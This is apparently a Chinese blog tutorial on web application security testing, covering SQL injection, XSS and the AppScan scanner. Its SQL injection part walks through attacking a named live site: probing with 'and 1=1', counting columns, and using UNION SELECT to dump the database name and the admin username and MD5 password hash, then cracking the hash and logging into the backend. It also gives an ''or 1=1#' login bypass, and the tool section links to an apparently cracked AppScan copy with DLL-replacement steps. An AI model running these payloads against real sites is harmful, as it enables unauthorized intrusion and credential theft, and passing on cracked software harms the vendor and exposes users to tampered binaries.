一、手动测试
1、SQL注入
原理:将有恶意的SQL语句作为参数进行输入,使得服务器执行该恶意的SQL命令,从而获得数据库的相关信息或篡改数据库的数据。
原因:开发对输入没有做细致的过滤。
防护:加密、过滤输入、使用自定义的错误提示等。
注入:
1)先输入猜测的表名,如果返回成功,
And (Select count(*) from 表名)<>0
说明该表名正确;然后再猜测列名,同理,如果返回成功,说明该列名正确。
And (Select count(列名) from 表名)<>0
2)后台身份验证绕过
前提是:账号和密码在同一条查询语句;密码不加密。
原理:验证绕过漏洞就是’or’=‘or’后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误。
web应用的安全测试
3)利用万能语句(’or 1=1#)屏蔽密码进行登录
比如:在用户名输入框中输入:’or 1=1#,密码随便输入,这时候的合成后的SQL查询语句为:
   select * from users where username=’’ or 1=1#’ and password=md5(’’)
  语义分析:“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,这样就不会去执行了。
例子:
http://www.guoshang.tk/news/read.php?id=50
1、 可以看出这是一个动态URL,也就是说可以在地址栏中传参,这是SQL注入的基本条件。
2、判断是否存在sql注入可能。
在地址后面空上一格,敲入 and 1=1 ,然后 and 1=2 。敲入 and 1=1 帖子返回正常, and 1=2 时帖子返回出错,说明sql语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个SQL注入点,
http://www.guoshang.tk/news/read.php?id=50 时数据库中执行的SQL语句大概是这样的:
Select * from [表名] where id=50
添加and 1=1后的SQL语句:
Select * from [表名] where id=50 and 1=1
由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的 添加and 1=2后的SQL语句: Select * from [表名] where id=50 and 1=2
由于条件1=2永远为假,所以返回的页面和正常页面不一致
3、爆数据库。
现在要判断数据库类型以及版本,构造语句如下:http://www.guoshang.tk/news/read.php?id=50
and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是mysql,并且版本大于4.0,支持union查询,反之是4.0 以下版本或者其他类型数据库。
4、爆字段。
a. http://www.guoshang.tk/news/read.php?id=50 order by 10
返回错误页面,说明字段小于10
b. http://www.guoshang.tk/news/read.php?id=50 order by 5
返回正常页面,说明字段介于5和10之间
c. http://www.guoshang.tk/news/read.php?id=50 order by 7
返回错误页面,说明字段大于5小于7,可以判断字段数是6.
d. http://www.guoshang.tk/news/read.php?id=50 order by 6
返回正常页面,说明字段确实是6这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
5、爆表.
确定字段之后现在我们要构造联合查询语句(union select ),语句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,3,4,5,6
我们来看帖子页面,原先内容没有了,取而代之的是返回给了我们 三个数字,分别是3,5,6 我们随便选择一个,这里的3,5,6指的是我们可以把联合查询的对应位置替换为 我们想要查询的关键字,比如版本,数据库名称,主要是用来探测web系统的信息。
6、爆用户名、密码。
现在把3给替换掉,先查询下数据库库名,构造语句如下
http://www.guoshang.tk/news/read.php?id=50and1=2 union select 1,2,database(),4,5,6
浏览器给我们返回了 xinwen 。说明这个网站 的数据库库名是 xinwen .
现在我们用同样的手法查询下 管理员信息 ,构造语句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,user(),4,5,6
返回 [email protected] ,是个管理员权限。
现在我们再用同样的手法查询用户名,密码,构造语句如下:
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select
1,2,username,4,5,6 from admin
返回 admin
http://www.guoshang.tk/news/read.php?id=50 and 1=2 union select 1,2,password,4,5,6 from admin
返回 B2E5B76793EDA747382E81391AA3A400
7、md5解密。
我们找一个解密网址,进行解密。
8、登录后台。
输入用户名 ,密码 成功登入。
2、Xss注入
原理:往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。比如获取用户的Cookie,导航到恶意网站,携带木马等。
验证方法:
1)查看代码,查找关键的变量, 客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.
web应用的安全测试
假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞
2)在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞。
测试脚本:
web应用的安全测试
浏览器测试xss, 最好使用IE7。

XSS注入常用语句:
web应用的安全测试
二、工具测试
采用 IBM Security AppScan Standard 进行测试。IBM Security AppScan Standard是款功能实用的Web应用安全测试工具;使用该软件用户可以对您的安全漏洞进行评估,并且发现漏洞可以及时的完成修复,这样有效的完成对应用安全的风险降低,并且也能对应用的安全进行增强;该软件对安全计划功能内置,快速的完成对计划的增强,而且使用的方式简单,快速,无需进行学习就能完成测试,采用了向导式的操作方式。
1、下载链接:
链接:https://pan.baidu.com/s/1glvUCnYByPl741_teQmTJQ
提取码:ntl6
2、安装步骤:
下载后,进行解压,双击安装,都是点击下一步,直到安装完成。
web应用的安全测试
3、**
web应用的安全测试
将安装包里的dll文件放到刚才的安装目录 (例如我的)D:\Program Files (x86)\IBM\AppScan Standard下,替代原来的同名dll文件。
4、使用
web应用的安全测试
web应用的安全测试web应用的安全测试
web应用的安全测试web应用的安全测试web应用的安全测试web应用的安全测试
保存文件后,开始扫描。
扫描结束之后,输出报告。
web应用的安全测试
web应用的安全测试
PS:若是打开之前的文件,直接点击菜单栏上的扫描即可。
注:也可手动进行配置
web应用的安全测试

相关文章: